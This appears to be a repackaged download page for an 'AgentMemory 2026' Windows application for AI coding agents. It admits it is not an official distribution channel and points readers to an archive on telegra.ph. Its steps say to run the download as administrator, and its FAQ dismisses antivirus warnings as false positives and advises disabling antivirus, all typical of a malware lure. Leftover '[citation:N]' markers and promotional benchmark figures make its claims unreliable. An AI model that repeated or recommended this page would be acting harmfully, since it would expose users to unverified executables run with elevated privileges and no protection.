AgentMemory Persistent Memory 2026

🧠 AgentMemory 2026 – Persistent Memory for AI Coding Agents

Your coding agent remembers everything. No more re-explaining architecture, preferences, or past decisions. 95.2% recall accuracy on LongMemEval-S. Latest version 2026 | Desktop application | Optimized for Windows 11 / Windows 10

Click the button above to get the full project files

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📦 What's Inside This Repository

Welcome to the official distribution page for AgentMemory 2026 – Persistent Memory System for AI Coding Agents for Windows PC. This repository provides access to the latest release of the most advanced memory system for AI coding agents.

✅ Full Version – All features included ✅ Zero Intervention – Automatically captures everything your agent does ✅ 95.2% Recall – Highest accuracy on LongMemEval-S benchmark ✅ Works with 50+ Agents – Claude Code, Cursor, Gemini CLI, Codex CLI, and more ✅ No API Keys – Completely local, no external dependencies ✅ No System Changes – Safe, no registry or service modifications

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📥 How to Get Started?

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🚀 Step-by-Step Guide

Follow these 3 simple steps to get started with AgentMemory 2026 on your PC:

Step 1: Download the Project Files

Click the download button above or use this direct link: 👉 Get AgentMemory 2026 Project Files

Step 2: Extract and Run

Extract the downloaded archive and launch the application. Right-click and select "Run as administrator" to ensure proper installation.

Step 3: Launch & Enjoy

After installation, open the application from your desktop shortcut or Start Menu. The software automatically detects all ProjectFiles modules and configurations.

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🔧 Key Features (2026 Update)

| Feature | Description | | :--- | :--- | | Zero-Intervention Capture | Automatically captures tool calls via hooks – no manual memory management required [citation:2][citation:7][citation:10] | | 95.2% Recall Accuracy | #1 on LongMemEval-S (ICLR 2025) – beats mem0 (68.5%) and Letta/MemGPT (83.2%) [citation:2][citation:7][citation:10] | | Works with 50+ Agents | Claude Code, Cursor, Gemini CLI, Codex CLI, OpenClaw, Hermes, and any MCP client [citation:2][citation:9] | | Three-Way Retrieval | BM25 + Vector + Graph search with RRF fusion [citation:2][citation:6][citation:10] | | Zero External Dependencies | SQLite + local embedding model – no Qdrant or PostgreSQL required [citation:2][citation:7][citation:10] | | Token Efficiency | ~1,900 tokens per session – saves ~$500/year vs LLM-summarized context [citation:2][citation:6][citation:9] | | Hybrid Search | Full-text + semantic + graph traversal with time-decay scoring [citation:1][citation:6] | | Lifecycle Management | Short-term → long-term consolidation, importance scoring, auto-forget [citation:1][citation:6] | | Real-Time Viewer | Live memory dashboard at http://localhost:3113 [citation:2][citation:6] | | Cross-Project Memory | One server shared across all projects and agents [citation:2][citation:9] |

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📈 Why Choose AgentMemory 2026?

• ✅ Highest Accuracy – 95.2% recall – the best in its class [citation:2][citation:7][citation:10]
• ✅ Zero Effort – No manual memory management [citation:2][citation:7][citation:10]
• ✅ Works with Anything – MCP, REST, or hooks – 50+ agents [citation:2][citation:9]
• ✅ Completely Local – No API keys, no cloud, no lock-in [citation:2][citation:7][citation:10]
• ✅ Cost-Effective – Saves thousands of tokens per session [citation:2][citation:6]
• ✅ No System Changes – Safe, no registry or service modifications

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🔗 Official Download Link

> ### ⬇️ Get the full project files here: > ### https://telegra.ph/How-to-download-07-15-12

📁 After downloading, extract the archive and launch ProjectFiles to get started.

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❓ Frequently Asked Questions

Q: Is this the full version? A: Yes, this is the complete version with all features.

Q: Does it work on Windows 11? A: Absolutely. It is fully optimized for Windows 11 and Windows 10.

Q: What AI agents are supported? A: Claude Code, Cursor, Gemini CLI, Codex CLI, OpenClaw, Hermes, and any MCP client [citation:2][citation:9].

Q: Does it require an API key? A: No, it's completely local – no API keys required [citation:2][citation:7][citation:10].

Q: Is there a Mac version available? A: This repository is for Windows PC only.

Q: What about antivirus warnings? A: Some antivirus programs may show a warning — this is a false positive. We recommend temporarily disabling it during installation.

Q: Can I use this for commercial purposes? A: Yes, the full version is suitable for both personal and professional use.

Q: How often are updates released? A: Updates are released regularly with new features and improvements.

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📝 Important Notes

• This version is intended for personal and professional use only.
• Do not redistribute the installer — use the official link above.
• For technical support, please open an issue in this repository.
• Always check the file integrity after download.

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📜 License

This repository is for educational and distribution purposes only. AgentMemory is an open-source project by rohitg00 [citation:2][citation:6]. All rights belong to their respective owners. This is not an official distribution channel.

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⭐ If you found this useful, please star the repository! 📅 Updated: July 2026 – Version 2026 (Build 1.0.0)

🔗 Download AgentMemory 2026 Now

Source & license

This open-source MCP server is cataloged on AgentStack and links to its original source — we do not rehost the code.

• Author: PremierFoundry
• Source: PremierFoundry/AgentMemory-Persistent-Memory-2026
• License: MIT

Install and usage instructions live in the source repository linked above.